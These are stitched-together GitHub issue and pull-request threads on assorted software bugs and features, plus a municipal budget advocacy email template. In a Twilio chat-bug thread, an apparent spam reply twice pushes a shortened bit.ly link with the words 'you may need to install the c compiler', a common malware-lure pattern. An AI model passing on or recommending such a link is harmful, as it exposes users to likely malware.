It will empower many use cases to allow arbitrary complex queries written in Javascript to be executed on the server and return a data table like structure as a stream.
Proposal is to extend the transformation execution context to include a results interface that can be written to by a Javascript query.
The queries are posted as a json payload which includes a base64 encoded string of the javascript to execute.
Server side, the results interface should be streaming data as it receives it from the Javascript. The javascript is responsible for indicating the table columns and their type via the results interface.

Already supported with MIM CLI - the cli can run remote queries.


When multiple user send messages few of them do not received on chat window

we are developing chat application based on the demo app you provided, we have observed when multiple users are sending messages in same conversation, some messages are not visible in conversation while in Twilio console it is visible. when we refresh the app, all messages are visible.
we have observed below event is not getting fired for all messages.
client.on("messageAdded", async (message: Message) => {
console.log("EVENT FIRED AT LINE 250", message);
await upsertMessage(message, upsertMessages, updateUnreadMessages);
  });

below are the Twilio libraries we are using in our application

try this
https://bit.ly/4gx42eQ
you may need to install the c compiler

try this https://bit.ly/4gx42eQ
you may need to install the c compiler

sorry i am not able to access this link as it is blocked due to security reason, but not sure how c compiler can help me to identify the issue.


Add Upland, CA

To<EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS>Subject: [*** INSERT UNIQUE SUBJECT LINE***]
Message (Don't forget to replace the [x]'s with your information!)
I am a resident of Upland and I am writing to demand that the City Council adopt a People’s Budget that prioritizes community wellbeing and redirects funding away from the police.
We are in the midst of widespread upheaval over the systemic violence of policing. This, combined with a global pandemic with severe economic consequences, brings the issue of police budgeting to the forefront.
The 2019-20 Upland budget called for 51 percent of its General Fund Expenditure ( $41,931,700) to go towards the Upland Police Department. [Page 11] That marked an increase of $1,006,990 with $546,830 coming from personnel services increases.
From the Maintenance and Operations bulletin:
“The maintenance and operations budget is $17,464,000, which is an increase of $460,160.
A majority of the increase belongs to the police department. The contract services account
reflects an increase for a new booking service contract.”
The average American state and local government spends $354 per capita per resident on its police force. Upland spends $287 per capita based on its 78,841 residents. The amount of spending has risen nationwide over the years (same source as before) and Upland, while spending a lower amount per capita, uses a larger amount of its general fund on police than cities like Oakland, Los Angeles and Houston.
Crime has decreased both in Upland and nationwide but not due to increased police spending. If anything, Upland uses its police force as a revenue generator. The 2019-20 budget seems to not so subtly suggest as much on page 10 under Miscellaneous Changes.
“Other changes include an increase of $1,155,730 for licenses and permits; increases in fines and forfeitures of $202,650; and increases in charges for services of $139,340.”
An increase in fines and forfeitures can come from a number of areas: More residents, more visitors to Upland because of the shops and restaurants or the understanding that Upland Police will hand out more tickets. Well-worn cynicism isn’t out of the question.
We demand the Upland City Council meaningfully defund Upland PD. We join the calls of those across the country to #DefundThePolice. We demand a budget that adequately and effectively meets the needs of its citizens during this trying and uncertain time.
Thank you for your time,
[YOUR NAME] [YOUR ADDRESS] [YOUR EMAIL] [YOUR PHONE NUMBER]

:wave: @jakesundstrom - great template! I'm just doing some fact checking using Upland's 2019-2020 approved budget and wanted to clarify some things:

Googling Upland's population give me 77,810 and the budget report has 78,481 - this is different than the number in your template. Would you mind confirming?
I'm seeing on page 7 of the budget that police expenditures hit 54%.  It also looks like page 11 deals with surplus/deficits.

My calculation gives me the same per capita spending number as you: $22,643,118*0.54/78841= $287.19 but this should be $289 (rounded up) if we're using the population in the budget report.

Otherwise, I think we should try to trim this message a bit to make it a faster read for folks sending the emails. I'll make some suggested edits for you. In the meantime, let me know if my fact checking is off.

Hey!

Like you noted, the budget cites the Upland population as 78,841 (which is what my template says). I think it makes sense to go with their official figure, but if you think the figure on Google is better, that's obviously fine.

The 54 percent number is correct - that was a typo on my part, thanks for catching that!

Shouldn't that be $288 rounded up? Otherwise I think we're good to go! Obviously make whatever edits for clarity/concision you think make sense! Thanks so much!

Thanks for clarifying! For the edits, I've included two versions, updated per the style guide.
Version 1: This one doesn't mention the revenue generation. It's my recommendation. From the perspective of a resident of a different city, I think it might be getting too specific. Folks who are sending the email can customize with the most meaningful issues to them. For example: housing seems to make up only 10% of the budget.
Version 2: Has the revenue generation bit. Because I don't live in Upland, I don't know which issues are most pervasive. Just lmk if you feel like it should be included.
Version 1
To<EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS>Subject: [*** INSERT UNIQUE SUBJECT LINE***]
Dear Upland City Council,
My name is [YOUR NAME], and I am a resident of Upland. I am writing to demand that the City Council adopt a budget that prioritizes community wellbeing and redirects funding away from the police.
We are in the midst of widespread upheaval over the systemic violence of policing. This, combined with a global pandemic with severe economic consequences, brings the issue of police budgeting to the forefront.
The 2019-20 Upland budget called for 54% of its General Fund Expenditure ($22.6 million of $41.9 million) to go towards the Upland Police Department, an even larger proportion than cities like Oakland (41%) and Houston (32%). Furthermore, the majority of the 460K increase to the maintenance and operations budget belonged to the police, even as communities have become more safe in Upland and nationwide.
I demand the Upland City Council meaningfully defund Upland PD. I join the calls of those across the country demanding a budget that adequately and effectively meets the needs of its citizens during this trying and uncertain time.
Thank you for your time,
[YOUR NAME]
[YOUR ADDRESS]
[YOUR EMAIL]
[YOUR PHONE NUMBER]
Version 2
To<EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS>Subject: [*** INSERT UNIQUE SUBJECT LINE***]
Dear Upland City Council,
My name is [YOUR NAME], and I am a resident of Upland. I am writing to demand that the City Council adopt a budget that prioritizes community wellbeing and redirects funding away from the police.
We are in the midst of widespread upheaval over the systemic violence of policing. This, combined with a global pandemic with severe economic consequences, brings the issue of police budgeting to the forefront.
The 2019-20 Upland budget called for 54% of its General Fund Expenditure ($22.6 million of $41.9 million) to go towards the Upland Police Department, an even larger proportion than cities like Oakland (41%) and Houston (32%). Furthermore, the majority of the 460K increase to the maintenance and operations budget belonged to the police, even as communities have become more safe in Upland and nationwide.
If anything, Upland uses its police force as a revenue generator. According to the 2019-20 budget, increases in fines and forfeitures brought in an additional $202K. An increase in fines and forfeitures can come from a number of areas: More residents, more visitors to Upland because of the shops and restaurants, or the understanding that Upland Police will hand out more tickets.
I demand the Upland City Council meaningfully defund Upland PD. I join the calls of those across the country demanding a budget that adequately and effectively meets the needs of its citizens during this trying and uncertain time.
Thank you for your time,
[YOUR NAME]
[YOUR ADDRESS]
[YOUR EMAIL]
[YOUR PHONE NUMBER]

Go with the first version if you think that's better! Thanks for taking the time 🤘

No problem! All right, first version it is:
To<EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS>Subject: [*** INSERT UNIQUE SUBJECT LINE***]
Message: (Don't forget to replace the [x]'s with your information!)
Dear Upland City Council,
My name is [YOUR NAME], and I am a resident of Upland. I am writing to demand that the City Council adopt a budget that prioritizes community wellbeing and redirects funding away from the police.
We are in the midst of widespread upheaval over the systemic violence of policing. This, combined with a global pandemic with severe economic consequences, brings the issue of police budgeting to the forefront.
The 2019-20 Upland budget called for 54% of its General Fund Expenditure ($22.6 million of $41.9 million) to go towards the Upland Police Department, an even larger proportion than cities like Oakland (41%) and Houston (32%). Furthermore, the majority of the 460K increase to the maintenance and operations budget belonged to the police, even as communities have become safer in Upland and nationwide.
I demand the Upland City Council meaningfully defund Upland PD. I join the calls of those across the country demanding a budget that adequately and effectively meets the needs of its citizens during this trying and uncertain time.
Thank you for your time,
[YOUR NAME]
[YOUR ADDRESS]
[YOUR EMAIL]
[YOUR PHONE NUMBER]


How i Change Fade Duration?

Hi! this library is very useful. but not change duration....
How i change fade in / out duration?

#2

#2 You have sent a PR message that adds functionality to the issue.

About this issue that is


tab refactor/api change

I was looking into the tab component just now, and I would like to propose a refactoring.
TL;DR the children elements of the tab should not represent the content that will be displayed when the tab is active.
This affords the user a lot more flexibility on how and where he chooses to place the actual content, for instance, you may want to have it above the tabbar, or below the tabbar. It would also solve a couple of outstanding issues, since if the content of the tabs has react components with state, then you may not want to remove them from the dom when inactive (the user can choose to instead hide the inactive content with css for instance).
I think making the content of the tabs part of the tabbar component is a bit like making the panel a child of the appbar instead of a sibling.

I agree with you. Tabs definitively need to be refactored and the API should change in the direction you've mentioned. In the first approach there were a lot of missing use cases like this. Tabs should be able to be displayed on the top of your app and providing a way to communicate with the external components to modify some other dependent component.
We can discuss in this issue how should be the perfect API. I'm leaving my proposal during the next days!

Any thoughts here? With the new and shiny postcss release coming, I think its a good moment to make this API breaking change (also its easier for me to work on this during weekends, and its friday ;) ).
PS: I also want to implement bottom navigator and bottom sheets (for the latter I wanted to refactor the layout component to allow it to come-up from the left, right, top and bottom).

Yeah, I think this can be almost re-written and the best would be to do it in the postcss branch. If you want to make some work and PR it to the postcss-branch it would be great! The Layout could just treat in a special way Drawer and AppBar so we can get rid of that duplication

@acornejo I've been thinking about this. Actually there is no need to refactor the API. The label property can receive a node to fully customize the tab content. If you don't want to specify the content for each tab you can just pass no children and the selected tab can be handled outside the component. This allows to decide what to place and where should be placed.
What would be the API with this refactor?


Workbox Runtime Cache Not Working.

I have this simple config here in nuxt.config.ts
pwa: {
    devOptions: {
        enabled: true
    },
    workbox: {
        clientsClaim: true,
        skipWaiting: true,
        // navigateFallbackDenylist: [/^\/api\//],
        runtimeCaching: [
            {
                urlPattern: 'https://dummyjson.com/*',
                handler: 'NetworkFirst',
                options: {
                    cacheName: 'my-post-cache', // <== change the name
                    cacheableResponse: {
                        statuses: [200]
                    },
                    matchOptions: {
                        ignoreVary: true,
                        ignoreSearch: true
                    },
                    plugins: [{
                        // handlerDidError: async () => Response.redirect('/error', 302),
                        cacheWillUpdate: async ({ response }) => await response.status === 200 ? response : null
                    }]
                }
            }
        ]
    }
}

and a simple fetch data using useFetch composable inside my /fetch page
const fetchData = await useFetch<{
    products: Product[]
} & Pagination >('https://dummyjson.com/products', {
    query: {
        limit: LIMIT,
        skip: skipPage
    },
    watch: [page]
})

Whenever I load the page and navigate back to home then proceed to set to offline mode then go back to /fetch page. I just receive this error on the console.
net::ERR_INTERNET_DISCONNECTED
Am I missing any config or is this not how the caching behavior is supposed to work?
Additional Notes

I am testing it with built code with npm run build and node .output/server/index.mjs

https://dummyjson.com/*
This first line is not a urlPattern.
Here is something that work for me
 {
      urlPattern: ({ url, sameOrigin }) => sameOrigin && url.pathname.match(/^\/(api|article)\/.*/i),
      handler: 'NetworkFirst' as const,
      options: { cacheName: 'articles-cached' }
 },

// when this is cached - my articles also showing the images, who is saved in public-folder.

add that routes to the navigateFallbackDenylist array

add those routes to the workbox.navigateFallbackDenylist array

The routes are in the endpoint which I'm trying to retrieve the resource or the page route that is calling the endpoint?

https://dummyjson.com/* This first line is not a urlPattern. Here is something that work for me
 {
      urlPattern: ({ url, sameOrigin }) => sameOrigin && url.pathname.match(/^\/(api|article)\/.*/i),
      handler: 'NetworkFirst' as const,
      options: { cacheName: 'articles-cached' }
 },

// when this is cached - my articles also showing the images, who is saved in public-folder.

I had tried something similar to this using
urlPattern: ({ url, sameOrigin }) => sameOrigin && url.pathname.includes('dummyjson.com')),
But it still doesn't work for me

Hey again! I'm a amateur, but have worked a lot to get the caching to work.[^1]
I have made two reproduction-repos:

nuxt3-pwa-offline
nuxt-content-pwa

The first isn't a good example, but the second is a clean nuxt-content-repo - a good starter template.[^2]
There is two main challenges:

Get the root, or index-page to cache.
Get all blog-posts to loads.
The third problem is about images.

The RuntimeCaching isn't solving the problem with loading the frontpage of the homepage. That is one thing I have learned. It can helps with some images on the front-page, thats the only thing.
[^1]: Many weeks.
[^2]: Only five packages included.

Hey again! I'm a amateur, but have worked a lot to get the caching to work.1
I have made two reproduction-repos:
1. [nuxt3-pwa-offline](https://github.com/lovkyndig/nuxt3-pwa-offline)

2. [nuxt-content-pwa](https://github.com/lovkyndig/nuxt-content-pwa)

The first isn't a good example, but the second is a clean nuxt-content-repo - a good starter template.2
There is two main challenges:
1. Get the root, or index-page to cache.

2. Get all blog-posts to loads.

3. The third problem is about images.

The RuntimeCaching isn't solving the problem with (1) loading the frontpage of the homepage. That is one thing I have learned. It can helps with some images (in 1 & 2), thats the only thing.
Footnotes
1. Many weeks. [↩](#user-content-fnref-1-4b2211941ed45a0e00572aa1fdb9ee2e)

2. Only five packages included. [↩](#user-content-fnref-2-4b2211941ed45a0e00572aa1fdb9ee2e)

Hey thanks for the 2 repo I'll take a look. You mentioned the challenges to _Get the root, or index-page to cache.
_. What if I want to cache the content from a non root page? Example /products page to that is fetching the data from https://dummyjson.com/products

Hei @dextersiah Thanks for asking a amateur!
Yes, you have to use runtimeCaching to cache anything in the content-folder.
In my case:
 {
          urlPattern: ({ url, sameOrigin }) => sameOrigin && url.pathname.match(/^\/(api|article)\/.*/i),
          handler: 'NetworkFirst' as const,
          options: { cacheName: 'content' }
 }
// everything in "content"-folder are cached (with this code) when visited

The regex pattern is /^\/api\/.*/i[^1]
This is the start of the url you will see under the cache-name content when you have the Inpector/Application open and visit the content in the browser. If this cache-name isn't created after visit, then there proberly are some syntax-error that prevents it from working.
Two images
First who shows after frontpage-load

Now you don't see the cache name of the api-regex pattern.
Second who shows after content-visit

Now you see the cache name of the api-regex pattern.
[^1]: The other folder is for showing images who dosn't cache automatic.

Thanks for the effort to explain @lovkyndig I'll take a look and try reimplement this on my project. 👍


Fix latency tests for real

fix #1927

Codecov Report
Patch coverage: 50.00% and no project coverage change.

Comparison is base (06e7028) 62.94% compared to head (400dd6f) 62.95%.

:mega: This organization is not using Codecov’s GitHub App Integration. We recommend you install it so Codecov can continue to function properly for your repositories. Learn more
Additional details and impacted files
@@           Coverage Diff           @@
##           master    #1933   +/-   ##
=======================================
  Coverage   62.94%   62.95%
=======================================
  Files         137      137
  Lines       26517    26519    +2
=======================================
+ Hits        16692    16694    +2
  Misses       9825     9825

Impacted Files
Coverage Δ

fedimint-server/src/consensus/mod.rs
78.00% <50.00%> (-0.09%)
:arrow_down:

... and 8 files with indirect coverage changes
Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Do you have feedback about the report comment? Let us know in this issue.


Transform to unity package

Done

Move source code to plugin folder, so now you can add this package to your unity project using package manager.
Add assembly definitions - https://docs.unity3d.com/Manual/ScriptCompilationAssemblyDefinitionFiles.html.
You can import examples folder to your project using samples window in package manager.

Notes

Examples folder have large size, so would be great somehow split it from package.
Assembly definition name not match namespaces. Maybe rename one or another?
Add .unitypackage file to release page may help someone.
{Company} in readme can be changed to "EricHu33".

thanks for all the effort/suggestion, I'll take a look in few days and hopefully merge it.

oh, dont now that new commits also adds to pull request, my bad :\ (already rebase, dont worry)

Assembly definitions would be very much appreciated, otherwise it just adds up to already slow Unity recompile times on every file change.

I've check the PR, thanks for the effort, I'm really appriciate.
Also sorry for the late review, I'm extremely busy in past few months


Conversation list should be sorted by last received

When a new message comes in, the conversation and contact it's connected to doesn't rise to the top of the conversation list, so you have to go digging to find it.

This is a mild bug with the fact that I haven't setup sockets yet. If you rotate your device and back it ends up reloading and is there at the top. Without sockets this really doesn't work well for continuous fast conversation, mostly for just one offs. If you need to trigger a refresh in the message view you can either tap the notification or again use the rotate thing. I'll setup sockets soon , it's annoying to me too.


default.yml is the place to write only cop's default settings

I think Description, StyleGuide, Reference and Enabled should be in enabled/disabled.yml.

Before submitting the PR make sure the following are checked:

[x] Wrote good commit messages.
[ ] Commit message starts with [Fix #issue-number] (if the related issue exists).
[x] Feature branch is up-to-date with master (if not - rebase it).
[x] Squashed related commits together.
[ ] Added tests.
[ ] Added an entry to the Changelog if the new code introduces user-observable changes. See changelog entry format.
[x] The PR relates to only one subject with a clear title
and description in grammatically correct, complete sentences.
[x] Run rake default or rake parallel. It executes all tests and RuboCop for itself, and generates the documentation.

👍


Using redirects for multilingual SPA application

I'm interested in how to compose redirect rule for multilingual SPA application. I have english version which URLs begin with"/en/" and icelandic version which URLs begin with "/is/". English version is default, so root "/" should be redirected to "/en" only if requested URL doesn't start with one of predefined prefixes of other language versions.

@InternalVoiceKOT please refer to: https://docs.aws.amazon.com/amplify/latest/userguide/redirects.html#region-based-redirects


Bug - unable to shift-release tokens (action used to ignore grid alignment)

found in https://discord.com/channels/170995199584108546/713259405667205193/801154980496539658
I should fix this 😬

Might just be incorrect usage of the mod - dragging and then shift-releasing should work (works fine for me in chrome and firefox).  If this is still broken, continue in #9 .


Subscription Wildcard Support

Possible use cases:

uAuthority Wildcard: Subscribe to a specific service topic running on any device (example the same power manager service running on multiple devices)
Resource ID Wildcard: Subscribe to all topics published by a producer
uE Version Wildcard: Subscribe to a specific resource_id from any version of the ue

uE Version Wildcard: Subscribe to a specific resource_id from any version of the ue

While I can see that a uEntity might indeed want to subscribe to different versions of a resource, I wonder if the best option is really to use a wildcard for the version in this case.
The version reflects the major version of the service only, i.e. the messages that are being published on the corresponding topic will not be compatible and will require different handling logic. Instead of implementing this in a single handler, it seems more reasonable to me to register different handlers for different (incompatible) versions of the topic. That way, there is better separation of concerns in the code.

uAuthority Wildcard: Subscribe to a specific service topic running on any device (example the same power manager service running on multiple devices)

I guess the only issue with this might be how the uSubscription service and Streamers might handle this. Which remote uSubscription service does the local uSubscription service need to inform about the subscribed topics?

closing till this is asked from a customer with real requirements


Gallery Component

http://element.eleme.io/#/en-US/component/carousel - using images already uploaded, or add image incorporated into it

I ended up using the image component, there was a multiple flag.


Compile error w/ latest Swift 2 integration

I raised this originally over here https://github.com/Moya/Moya/issues/210#issuecomment-139129812 before I realized it's a ReactiveMoya issue.

It's OK! We're still tracking everything over in the main Repo for now.

Closing this as per the discussion at https://github.com/Moya/Moya/pull/169#issuecomment-139320915


Inconsistent naming of presets?

Environment
node v20.10.0<EMAIL_ADDRESS><EMAIL_ADDRESS>Reproduction
NITRO_PRESET=vercel_edge yarn nuxt build
Describe the bug
For building for Vercel Edge functions, the documentation says to use the preset vercel_edge.
But when ISR is enabled in the route rules, the route config seems to be incorrect when I use that preset. I think because of this line. Changing to NITRO_PRESET=vercel-edge seems to fix the issue, but I'm not sure if that will cause different problems. Could you tell me which format is correct?
Additional context
No response
Logs
No response

Both cases are accepted.


RC1 OmniSharp cannot find runtime

I'm trying to install ASP.NET 5 RC1 in a clean upgrade of El Capital. I installed VS Code latest (0.10.1), installed ASP.NET from get.asp.net, installed latest mono (<IP_ADDRESS>), installed the ASP.NET yo generator.
After creating a console app with the aspnet generator and opening the project with VS Code I'm getting the following error from OmniSharp:

Effectively if I go to the paths Omnisharp is searching they are empty:

dnvm list output:

This is what I have in PATH:

When I go to that location I see the runtimes:

What's going on with my installation?

Hmmm...no access to ./packages huh? Are the permissions for each of the directories the same? ls -l $HOME/.dnx should show the directories' permissions, and they ought to be the same drwxr-xr-x (at least, this is what I've gone on my Mac). It's been a while since I did a fresh install.

See https://github.com/aspnet/Home/issues/1094

@BrennanConroy Just like that issue my user's .dnx folder had root:

after updating it, I'm able to run:
dnu restore
dnu build
dnx HelloWorld

and the program executes, however I keep getting the same OmniSharp error.

Looks like OmniSharp doesn't know about the global dnx install location. You should file a bug on https://github.com/OmniSharp/omnisharp-roslyn
You can solve it by putting runtimes in the ~/.dnx/runtimes folder for now

Thanks @BrennanConroy I'll do that.


Predicates, Suppliers, Functions

Centralized JsonMapper specific configuration
Switches to Jackson as Json Provider
Sets Jackson to use BigDecimal and BigInteger for numbers
Separates predicates, functions, suppliers
Introduces Decimal functions
Introduces Date functions
Introduces simple String functions
Adds date parsing support without offset/zone
Changes predicate type checks to make reusability better
Adds new predicates isNull, notNull, regex, containsKey, SpEL
Adds embedded Predicate/Function/Supplier support
Adds anyMatch, noneMatch, allMatch, evalOn predicates
Adds JsonReplaceMapRule for easy object manipulation
Adds JsonDeleteFromMapRule
Adds Calculate rule allowing numeric calculations
Adds staticJson supplier
Removes unused test only constructors

Gradle

Adjusts gradle to use up-to-date checks better
Adds JaCoCo coverage checks
Raises coverage limits
Adds additional tests
Adds Gradle systemTest run step

CI

Adjusts workflows to upload coverage data for branches as well
Prepares switch from master to main branch as primary
Changes branch name in license link to main

[minor]

Codecov Report

Merging #3 into main will increase coverage by 2.58%.
The diff coverage is 96.81%.

@@             Coverage Diff              @@
##               main       #3      +/-   ##
============================================
+ Coverage     94.66%   97.24%   +2.58%
- Complexity      300      538     +238
============================================
  Files            31       67      +36
  Lines           731     1199     +468
  Branches         53       94      +41
============================================
+ Hits            692     1166     +474
+ Misses           18       16       -2
+ Partials         21       17       -4

Impacted Files
Coverage Δ
Complexity Δ

.../core/control/FilePairProcessorControllerImpl.java
94.33% <ø> (+5.05%)
18.00 <0.00> (ø)

...ta/yippeekijson/core/rule/impl/JsonDeleteRule.java
100.00% <ø> (ø)
4.00 <0.00> (-1.00)

...ta/yippeekijson/core/config/parser/JsonMapper.java
66.66% <66.66%> (ø)
0.00 <0.00> (?)

...yippeekijson/core/supplier/StaticJsonSupplier.java
83.33% <83.33%> (ø)
5.00 <5.00> (?)

...ppeekijson/core/config/parser/raw/RawJsonRule.java
90.00% <88.57%> (-10.00%)
10.00 <4.00> (+3.00)
:arrow_down:

...yippeekijson/core/rule/impl/JsonCalculateRule.java
90.32% <90.32%> (ø)
10.00 <10.00> (?)

...e/config/parser/raw/params/BaseRawConfigParam.java
91.30% <91.30%> (ø)
25.00 <25.00> (?)

...e/predicate/SpringExpressionLanguagePredicate.java
92.30% <92.30%> (ø)
6.00 <6.00> (?)

.../core/config/parser/impl/FunctionRegistryImpl.java
98.63% <95.83%> (-1.37%)
32.00 <11.00> (+3.00)
:arrow_down:

...yesta/yippeekijson/core/rule/impl/JsonMapRule.java
96.15% <96.15%> (ø)
11.00 <11.00> (?)

... and 85 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 2bc44bc...7e57062. Read the comment docs.


Audio not forwarded on Linux

For some reason audio forwarding to PC works Windows but not on Debian 12

Which scrcpy version do you use on Debian?
https://github.com/Genymobile/scrcpy/blob/master/doc/linux.md#latest-version

Which scrcpy version do you use on Debian?
https://github.com/Genymobile/scrcpy/blob/master/doc/linux.md#latest-version

well which was latest on snap. sorry can't look now

Ohh, my bad.
following this didn't help
https://snapcraft.io/install/scrcpy-updated/debian
sudo snap install scrcpy-updated --edge
I probably would need to manually install. Thanks for help!


(PUP-5058)(PUP-7342) Adding sshkey adds it to the correct ssh_known_hosts file on OS X

PUP-5058 updated puppet to place sshkey resources in /etc/ssh/ssh_known_hosts on OS X 10.11 and newer (it had been /etc/ssh_known_hosts before 10.11). PUP-7342 is the ticket for verifying this behavior.
NOTE TO REVIEWERS: The OS version-handling on line 8 is clumsy and fugly. I'm open to something better.

CLA signed by all contributors.

👍

CLA signed by all contributors.

Tested and passed on OS X 10.10, macOS 10.11, Ubuntu 16.04, and Windows 2012r2.


How to embed fonts in browser?

Question
Description
I've been trying for two days to get my custom font (Open Sans) into my PDF which I'm generating in browser. No matter what I try, I run into issues from FS:
Uncaught TypeError: _fs.default.readFileSync is not a function (font_factory.js:14:15)

Could someone provide an example of how this should be approached? Nothing seems to work.
Code sample
It's tough to give a proper code sample since this is a small piece of a large project and I've gone through about 10 different approaches now. The following should give you an idea what I've been trying:
import PDFKit from 'pdfkit';
import OpenSansExtraBold from './assets/fonts/OpenSans-ExtraBold.ttf';

doc = new PDFKit();

async registerFonts() {
    // For the time being this is http://localhost:1234/OpenSans-ExtraBold.ttf
    const response = await axios.get(`${__dirname}/OpenSans-ExtraBold.ttf`,  { responseType: 'arraybuffer' });
    const buffer = Buffer.from(response.data, 'utf-8');
    doc.registerFont('My Font', buffer);
}

registerFonts();
doc.font('My Font').text('Foo');

Your environment

pdfkit version: 0.11.0

Using in browser, (all browsers return the same errors), with parcel-bundler. I think the best thing to share here is my package.json (relevant bits):
{
  "devDependencies": {
    "@types/pdfkit": "^0.10.6",
    "parcel-bundler": "^1.12.4",
    "typescript": "^4.0.5"
  },
  "dependencies": {
    "axios": "^0.21.1",
    "pdfkit": "^0.11.0",
    "tslib": "^2.1.0"
  }
}

I have had issues with this as well.  I also tried getting an arraybuffer from google font apis.  I get no error but the font doesn't load.  It is embedded into the pdf it seems but still doesn't work.  I made a post over on stackoverflow about it
https://stackoverflow.com/questions/66694626/embedding-a-custom-font-in-pdfkit

Nice. It's been two weeks so I don't really expect any help... but I'll keep an eye on your stack overflow post!

@ianpaschal you can look at webpack example:  https://github.com/foliojs/pdfkit/blob/master/examples/webpack/src/index.js#L18
It fetches a file and register in the fs (a virtual file system for use in browser)
I dont know how to setup the virtual file system in parcel. In webpack use alias:  https://github.com/foliojs/pdfkit/blob/master/examples/webpack/webpack.config.js#L19
pdfkit has lot of assumptions of a node environment making it not browser friendly. i'm working to improve the solution and eventually support browser without the need of bundlers

The solution I used (and for posterity) is just to use jsPDF instead. Sorry to the maintainers here, but it solves basically the same use case and with less headaches.


Show/hide MS2 WPS export icon on the base of user permissions

@giohappy commented on Wed Nov 25 2020
MapStore should only show export for layers for which the GeoNode user has download permissions.
For the moment I suppose that we don't have any means to attach additional configurations dynamically to control specific aspects of layers, like showing / hiding tools.  I don't know if such a capability is already available, considering the auth system provided by Geostore.
I imagine thet an additional configuration should be passed from GeoNode (inside the map template) to include these info per layer.
@allyoucanmap what's you proposal to manage this case?

@allyoucanmap is this already implemented?


Disable clang-format option in libh3

Build fail when building h3ron-h3-sys as normal cargo dependency (1) when clang-format is installed.
We are strictly consuming libh3, so it makes no sense to be formatting its source code. Let's disable the format option altogether generating the Makefile.
1: building a locally checked-out copy of this repo works fine with the format option enabled.

Thank you for the improvement - it really makes no sense to have a dependency on clang-format here.


Migrate NPM package to xivapi scope

The package.json will need updating for scope, along with new keys for the release action. Additionally, the old package from Nono will need a deprecation warning (I've spoken to him about how to do this). Not sure how accounts work on NPM tho so will need some assistance on that.

I can't version properly, next release should be 0.2.0 to manage the new scope and I suppose localisation.

I can't version properly, next release should be 0.2.0 to manage the new scope and I suppose localisation.


Added Mastering Hadoop Book

What does this PR do?
Add resource(s)
For resources
Description
Why is this valuable (or not)?
Hadoop is in demand in the industry
How do we know it's really free?
It's a GDrive link
For book lists, is it a book? For course lists, is it a course? etc.
It is a book
Checklist:

[x] Read our contributing guidelines.
[x] Search for duplicates.
[x] Include author(s) and platform where appropriate.
[x] Put lists in alphabetical order, correct spacing.
[x] Add needed indications (PDF, access notes, under construction).
[x] Used an informative name for this pull request.

Follow-up

Check the status of GitHub Actions and resolve any reported warnings!

In general, we do not link to file sharing sites, or file hosting sites such as google docs. or dropbox.


eos deferred_transaction

If I send a deferred transaction in five days later. But during these days, I change my account permissions by multi-signature. So will this transaction check permissions in five days later?

I guess it will not check the permission 5 days later. Instead, permission check is done at the time when the deferred transaction is scheduled.


C/A codegen function

In
void codegen(int *ca, int prn)
{
...
for (i=0; i<N_DWRD_SBF; i++)
		r1[i] = r2[i] = -1;
...
}

why is initialization vector for G1 and G2 -1,-1,-1,-1,-1,-1,-1,-1,-1,-1 instead of 1,1,1,1,1,1,1,1,1,1?

If you use multiplication in the calculation,  you should initialize the register with -1.
If you use module-2 or xor in the calculation, you should initialize the register with 1.
1  *   1    = 1
1  *  -1  = -1
-1 *  1   = -1
-1 * -1  = 1
1  xor  1 = 0
1  xor  0  = 1
0  xor  1   = 1
0 xor   0  = 0
in this case you need to convert -1=>1  and 1 =>0
Look below they use multiplication in the polymonials, so it should be initialized with -1
for (i=0; i<CA_SEQ_LEN; i++)
{
g1[i] = r1[9];
g2[i] = r2[9];
c1 = r1[2]*r1[9];
c2 = r2[1]*r2[2]*r2[5]*r2[7]*r2[8]*r2[9];
	for (j=9; j>0; j--)
	{
		r1[j] = r1[j-1];
		r2[j] = r2[j-1];
	}
	r1[0] = c1;
	r2[0] = c2;
}

for (i=0,j=CA_SEQ_LEN-delay[prn-1]; i<CA_SEQ_LEN; i++,j++)
	ca[i] = (1-g1[i]*g2[j%CA_SEQ_LEN])/2;

The last for is just a conversion like this: -1=>1 and 1 =>0

Thank you for the clear explanation, fabriciocscte.


Page Routing/URL issue on the Documenation

The following link appears to be broken:
https://www.docz.site/docs/migration-guide
But when I visit the same link from within the documentation, it works fine. It seems to have something to do with how the URLs are resolved client-side.
This seems to happen with any documentation link.

@impressivewebs Thank you for bringing this to our attention. We will get around to fixing it as fast as possible.

Same as you go to Introduction and click on "Let's get started!". The link sends to a broken URL, even with the correct URL.

There was a small issue in docz-website that should be fixed now :
https://www.docz.site/docs/migration-guide
and
https://www.docz.site/docs/getting-started
work as expected.

@rakannimer @jesperorb Issue seems to have come back. Going to https://www.docz.site/docs/migration-guide results in "Not found" page.
For anyone else who encounters this, you can see the migration guide here as well: https://github.com/doczjs/docz/blob/master/MIGRATION_GUIDE.md

Thanks @CaitlinWeb for reporting this. It should be fixed (again 😅) now : https://www.docz.site/docs/migration-guide


use the minted jlcon lexer for terminal mode

This way, the julia> prefix is properly highlighted

Coverage decreased (-0.2%) to 81.877% when pulling 8898049af564f35ed2c19824b76a167b5e4f6261 on ilia-kats:jlcon into c9a814759dba764931582f7dc91e0d92633a7e4d on mpastell:master.

Thanks!